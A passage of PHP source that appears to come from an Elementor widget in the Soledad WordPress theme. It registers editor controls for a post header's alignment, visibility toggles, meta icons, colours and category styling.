			'type'      => \Elementor\Controls_Manager::CHOOSE,
			'options'   => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'toggle'    => true,
			'selectors' => [ '{{WRAPPER}} .standard-post-special_wrapper,{{WRAPPER}} .standard-post-special_wrapper .penci-fto-ct,{{WRAPPER}} .standard-post-special_wrapper *,{{WRAPPER}} .post-box-meta-single' => 'text-align:{{VALUE}}' ],
		] );

		$this->add_control( 'content_overlay_calign', [
			'label'     => esc_html__( 'Content Align', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::CHOOSE,
			'options'   => array(
				'start'  => array(
					'title' => __( 'Top', 'soledad' ),
					'icon'  => 'eicon-v-align-top',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-v-align-middle',
				),
				'end'    => array(
					'title' => __( 'Bottom', 'soledad' ),
					'icon'  => 'eicon-v-align-bottom',
				),
			),
			'default'   => 'end',
			'toggle'    => true,
			'selectors' => [ '{{WRAPPER}} .standard-post-special_wrapper' => 'bottom:30px;top:30px;display:flex;flex-wrap: wrap;flex-direction: column;justify-content:{{VALUE}}' ],
		] );

		$this->add_control( 'hide_breadcrumb', [
			'label'     => esc_html__( 'Hide Breadcrumb', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [ '{{WRAPPER}} .penci-breadcrumb' => 'display:none' ],
		] );

		$this->add_control( 'hide_title', [
			'label'     => esc_html__( 'Hide Post Title', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [ '{{WRAPPER}} .single-post-title' => 'display:none' ],
		] );

		$this->add_control( 'hide_subtitle', [
			'label' => esc_html__( 'Hide Post Sub Title', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'penci_post_cat', [
			'label' => esc_html__( 'Hide Post Categories', 'soledad' ),
			'type'  => \Elementor\Controls_Manager::SWITCHER,
		] );

		$this->add_control( 'hide_info', [
			'label'     => esc_html__( 'Hide Post Meta', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single' => 'display:none' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'post_meta', [
			'label'     => esc_html__( 'Post Meta', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'hide_info!' => 'yes' ],
		] );

		$this->add_control( 'hide_meta_label', [
			'label'     => esc_html__( 'Hide Meta Label?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'meta_divider', [
			'label'     => 'Remove Meta Divider Character',
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => array(
				'{{WRAPPER}} .post-box-meta-single > span:before' => 'display:none !important;'
			),
		] );

		$this->add_control( 'meta-item-spacing', [
			'label'      => 'Spacing Between Meta',
			'type'       => \Elementor\Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 100 ),
			),
			'selectors'  => [
				'{{WRAPPER}} .post-box-meta-single > span:not(:last-child)'          => 'margin-right:{{SIZE}}px;',
				'body.rtl {{WRAPPER}} .post-box-meta-single > span:not(:last-child)' => 'margin-left:{{SIZE}}px;margin-right:0',
			],
		] );

		$this->add_control( 'penci_single_meta_author', [
			'label'     => esc_html__( 'Hide Author?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'penci_single_meta_author_update', [
			'label'     => esc_html__( 'Show Latest Update Author?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'penci_single_author_avatar', [
			'label'     => esc_html__( 'Hide Author Avatar?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'penci_single_meta_author!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_ava_icon_check', [
			'label'     => esc_html__( 'Hide Post Author Icon?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'penci_single_meta_author!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_author_avatar_br', [
			'label'     => esc_html__( 'Author Borders Radius', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single .avatar' => 'border-radius:{{SIZE}}px' ],
			'condition' => [ 'penci_single_author_avatar!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_author_avatar_sp', [
			'label'     => esc_html__( 'Author Spacing', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single .avatar' => 'margin-left:{{SIZE}}px;margin-right:{{SIZE}}px' ],
			'condition' => [ 'penci_single_author_avatar!' => 'yes' ],
		] );

		$this->add_control( 'penci_avatar_w', [
			'default'   => 30,
			'label'     => esc_html__( 'Author Avatar Width', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::NUMBER,
			'condition' => [ 'penci_single_author_avatar!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_date', [
			'label'     => esc_html__( 'Hide Post Date?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'penci_single_meta_date_icon_check', [
			'label'     => esc_html__( 'Hide Post Date Icon?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'penci_single_meta_date!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_comment', [
			'label'     => esc_html__( 'Hide Post Comments?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'penci_single_meta_comment_icon_check', [
			'label'     => esc_html__( 'Hide Post Comment Icon?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'penci_single_meta_comment!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_show_cview', [
			'label'     => esc_html__( 'Hide Post View?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'penci_single_meta_view_icon_check', [
			'label'     => esc_html__( 'Hide Post View Icon?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'penci_single_show_cview!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_hreadtime', [
			'label'     => esc_html__( 'Hide Post Reading Time ?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
		] );

		$this->add_control( 'penci_single_meta_reading_icon_check', [
			'label'     => esc_html__( 'Hide Post Reading Icon?', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'condition' => [ 'penci_single_hreadtime!' => 'yes' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'icon_settings', [
			'label' => esc_html__( 'Icon Settings', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'meta_icon_style', [
			'label'   => esc_html__( 'Icon Style', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => 'default',
			'options' => [
				'default' => 'Default',
				's1'      => 'Style 1',
				's2'      => 'Style 2',
				's3'      => 'Style 3',
				's4'      => 'Style 4',
			],
		] );

		$this->add_control( 'meta_icon_size', [
			'label'     => esc_html__( 'Icon Width', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'width: {{SIZE}}px;height: {{SIZE}}px;line-height: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'meta_icon_fsize', [
			'label'     => esc_html__( 'Icon Font Size', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'font-size: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'meta_icon_border', [
			'label'     => esc_html__( 'Icon Borders Radius', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'border-radius: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'meta_icon_borderw', [
			'label'     => esc_html__( 'Icon Borders Width', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 10, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'border-width: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'meta_icon_spacing', [
			'label'     => esc_html__( 'Icon Spacing', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 10, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcmt-icon' => 'margin-left: {{SIZE}}px;margin-right: {{SIZE}}px;',
			),
		] );

		$this->add_control( 'penci_single_meta_gnr_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .pcmt-icon' => 'color:{{VALUE}}' ]
		] );

		$this->add_control( 'penci_single_meta_gnr_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .pcmt-icon'                                       => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .post-box-meta-single.style-s3 .pcmt-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .pcmt-icon:before' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->add_control( 'penci_single_meta_gnr_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .pcmt-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .pcmt-icon:after' => 'border-left-color:{{VALUE}} !important',
			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'author_icon_settings', [
			'label'     => esc_html__( 'Author Icon', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_single_meta_ava_icon_check!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_ava_icon', [
			'label'            => esc_html__( 'Post Author Icon', 'soledad' ),
			'type'             => \Elementor\Controls_Manager::ICONS,
			'fa4compatibility' => 'icon',
			'default'          => [
				'value'   => 'far fa-user',
				'library' => 'fa-regular',
			]
		] );

		$this->add_control( 'penci_single_meta_author_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .ava-icon' => 'color:{{VALUE}}' ]
		] );

		$this->add_control( 'penci_single_meta_author_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .ava-icon'                                       => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .post-box-meta-single.style-s3 .ava-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .ava-icon:before' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->add_control( 'penci_single_meta_author_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .ava-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .ava-icon:after' => 'border-left-color:{{VALUE}} !important',
			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'date_icon_settings', [
			'label'     => esc_html__( 'Date Icon', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_single_meta_date_icon_check!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_date_icon', [
			'label'            => esc_html__( 'Post Date Icon', 'soledad' ),
			'type'             => \Elementor\Controls_Manager::ICONS,
			'fa4compatibility' => 'icon',
			'default'          => [
				'value'   => 'far fa-clock',
				'library' => 'fa-regular',
			]
		] );

		$this->add_control( 'penci_single_meta_date_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .date-icon' => 'color:{{VALUE}}' ]
		] );

		$this->add_control( 'penci_single_meta_date_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .date-icon'                                       => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .post-box-meta-single.style-s3 .date-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .date-icon:before' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->add_control( 'penci_single_meta_date_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .date-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .date-icon:after' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'comment_icon_settings', [
			'label'     => esc_html__( 'Comment Icon', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_single_meta_comment_icon_check!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_comment_icon', [
			'label'            => esc_html__( 'Post Comment Icon', 'soledad' ),
			'type'             => \Elementor\Controls_Manager::ICONS,
			'fa4compatibility' => 'icon',
			'default'          => [
				'value'   => 'far fa-comment-dots',
				'library' => 'fa-regular',
			]
		] );

		$this->add_control( 'penci_single_meta_comment_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .comment-icon' => 'color:{{VALUE}}' ]
		] );

		$this->add_control( 'penci_single_meta_comment_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .comment-icon'                                       => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .post-box-meta-single.style-s3 .comment-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .comment-icon:before' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->add_control( 'penci_single_meta_comment_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .comment-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .comment-icon:after' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'view_icon_settings', [
			'label'     => esc_html__( 'Post View Icon', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_single_meta_view_icon_check!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_view_icon', [
			'label'            => esc_html__( 'Post View Icon', 'soledad' ),
			'type'             => \Elementor\Controls_Manager::ICONS,
			'fa4compatibility' => 'icon',
			'default'          => [
				'value'   => 'far fa-eye',
				'library' => 'fa-regular',
			]
		] );

		$this->add_control( 'penci_single_meta_view_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .view-icon' => 'color:{{VALUE}}' ]
		] );

		$this->add_control( 'penci_single_meta_view_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .view-icon'                                       => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .post-box-meta-single.style-s3 .view-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .view-icon:before' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->add_control( 'penci_single_meta_view_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .view-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .view-icon:after' => 'border-left-color:{{VALUE}} !important',

			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'reading_icon_settings', [
			'label'     => esc_html__( 'Reading Icon', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_single_meta_reading_icon_check!' => 'yes' ],
		] );

		$this->add_control( 'penci_single_meta_reading_icon', [
			'label'            => esc_html__( 'Post Reading Icon', 'soledad' ),
			'type'             => \Elementor\Controls_Manager::ICONS,
			'fa4compatibility' => 'icon',
			'default'          => [
				'value'   => 'far fa-book',
				'library' => 'fa-regular',
			]
		] );

		$this->add_control( 'penci_single_meta_reading_icon_color', [
			'label'     => esc_html__( 'Icon Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .reading-icon' => 'color:{{VALUE}}' ]
		] );

		$this->add_control( 'penci_single_meta_reading_bg_color', [
			'label'     => esc_html__( 'Background Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .reading-icon'                                       => 'background-color:{{VALUE}}',
				'{{WRAPPER}} .post-box-meta-single.style-s3 .reading-icon:after'  => 'border-left-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .reading-icon:before' => 'border-left-color:{{VALUE}} !important',
			]

		] );

		$this->add_control( 'penci_single_meta_reading_bd_color', [
			'label'     => esc_html__( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .reading-icon'                                      => 'border-color:{{VALUE}} !important',
				'{{WRAPPER}} .post-box-meta-single.style-s4 .reading-icon:after' => 'border-left-color:{{VALUE}} !important',
			]
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'color_style_settings', [
			'label' => esc_html__( 'General Style ', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'overlay_color', [
			'label' => 'Background Style',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_group_control( Group_Control_Background::get_type(), array(
			'name'     => 'overlay_bgcolor',
			'label'    => __( 'Overlay Background', 'soledad' ),
			'types'    => array( 'classic', 'gradient' ),
			'selector' => '{{WRAPPER}} .penci-move-title-above:after',
		) );

		$this->add_control( 'overlay_ctbgcolor', [
			'label'     => 'Content Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-fto-ct' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'overlay_ctw', [
			'label'     => 'Content Width',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 1170 ) ),
			'selectors' => [ '{{WRAPPER}} .penci-fto-ct' => 'max-width:{{SIZE}}px' ],
		] );

		$this->add_control( 'overlay_align', [
			'label'                => esc_html__( 'Content Width Align', 'soledad' ),
			'type'                 => \Elementor\Controls_Manager::CHOOSE,
			'options'              => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors_dictionary' => array(
				'left'   => 'margin-right: auto !important',
				'center' => 'margin-left: auto !important; margin-right: auto !important;',
				'right'  => 'margin-left: auto !important',
			),
			'selectors'            => [ '{{WRAPPER}} .penci-fto-ct' => '{{VALUE}}' ],
		] );

		$this->add_responsive_control( 'overlay_ctpd', array(
			'label'      => __( 'Content Padding', 'soledad' ),
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array( '{{WRAPPER}} .penci-fto-ct' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );

		$this->add_control( 'overlay_ctbdr', [
			'label'     => 'Content Borders Radius',
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 50 ) ),
			'selectors' => [ '{{WRAPPER}} .penci-fto-ct' => 'border-radius:{{SIZE}}px' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'style_breadcrumb', [
			'label'     => esc_html__( 'Breadcrumb Style', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_STYLE,
			'condition' => [ 'hide_breadcrumb!' => 'yes' ],
		] );

		$this->add_control( 'breadcrumb_head', [
			'label' => 'Breadcrumb Style',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'breadcrumb_typo',
			'label'    => __( 'Typography for Breadcrumb', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-breadcrumb.single-breadcrumb',
		) );

		$this->add_control( 'breadcrumb_color', [
			'label'     => 'Breadcrumb Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-breadcrumb.single-breadcrumb span, {{WRAPPER}} .penci-breadcrumb.single-breadcrumb i,{{WRAPPER}} .penci-breadcrumb.single-breadcrumb a' => 'color:{{VALUE}} !important' ],
		] );

		$this->add_control( 'breadcrumb_lhcolor', [
			'label'     => 'Breadcrumb Text Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .penci-breadcrumb.single-breadcrumb a:hover' => 'color:{{VALUE}}' ],
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'style_categories', [
			'label'     => esc_html__( 'Category Style', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_STYLE,
			'condition' => [ 'penci_post_cat!' => 'yes' ],
		] );

		$this->add_control( 'cat_pre_style', [
			'label'   => 'Category Style',
			'type'    => \Elementor\Controls_Manager::SELECT,
			'options' => [
				''   => 'Default Theme Style',
				's1' => 'Style 1',
				's2' => 'Style 2',
				's3' => 'Style 3',
				's4' => 'Style 4',
			],
		] );

		$this->add_control( 'cat_head', [
			'label' => 'Category Custom Style',
			'type'  => \Elementor\Controls_Manager::HEADING,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'cat_typo',
			'label'    => __( 'Typography for Categories', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-breadcrumb.single-breadcrumb',
		) );

		$this->add_control( 'cat_color', [
			'label'     => 'Category Text Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .cat' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'cat_lcolor', [
			'label'     => 'Category Link Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .cat > a.penci-cat-name' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'cat_lhcolor', [
			'label'     => 'Category Link Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'cat_bgcolor', [
			'label'     => 'Category Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .cat > a.penci-cat-name' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'cat_bghcolor', [
			'label'     => 'Category Background Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'background-color:{{VALUE}}' ],
		] );

		$this->add_control( 'cat_bcolor', [
			'label'     => 'Category Borders Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .cat > a.penci-cat-name' => 'border-color:{{VALUE}}' ],
		] );

		$this->add_control( 'cat_bhcolor', [
			'label'     => 'Category Borders Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'border-color:{{VALUE}}' ],
		] );

		$this->add_control( 'cat_padding', [
			'label'      => 'Category Item Padding',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .cat > a.penci-cat-name' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		] );

		$this->add_control( 'cat_border', [
			'label'      => 'Category Item Border',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .cat > a.penci-cat-name' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		] );

		$this->add_control( 'cat_border_style', [
			'label'     => 'Category Borders Style',
			'type'      => \Elementor\Controls_Manager::SELECT,
			'options'   => [
				'dotted' => 'Dotted',
				'dashed' => 'Dashed',
				'solid'  => 'Solid',
				'double' => 'Double',
				'groove' => 'Groove',
				'ridge'  => 'Ridge',
				'inset'  => 'Inset',
				'outset' => 'Outset',
			],
			'selectors' => [ '{{WRAPPER}} .cat > a.penci-cat-name' => 'border-style:{{VALUE}}' ],
		] );

		$this->add_control( 'cat_border_radius', [
			'label'      => 'Category Borders Radius',
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .cat > a.penci-cat-name' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		] );

		$this->add_control( 'cat_divider', [
			'label'     => 'Remove Category Divider Character',
			'type'      => \Elementor\Controls_Manager::SWITCHER,
			'selectors' => array(
				'{{WRAPPER}} .cat > a.penci-cat-name:after' => 'display:none !important;'
			),
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'meta_color_style', [
			'label' => esc_html__( 'General Meta Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'heading_typo',
			'label'    => __( 'Typography for Post Meta', 'soledad' ),
			'selector' => '{{WRAPPER}} .post-box-meta-single',
		) );

		$this->add_control( 'meta-color', [
			'label'     => 'Meta Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single, {{WRAPPER}} .post-box-meta-single span' => 'color:{{VALUE}}' ],
		] );

		$this->add_control( 'meta-link-color', [
			'label'     => 'Meta Link Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-box-meta-single a' => 'color:{{VALUE}}' ],
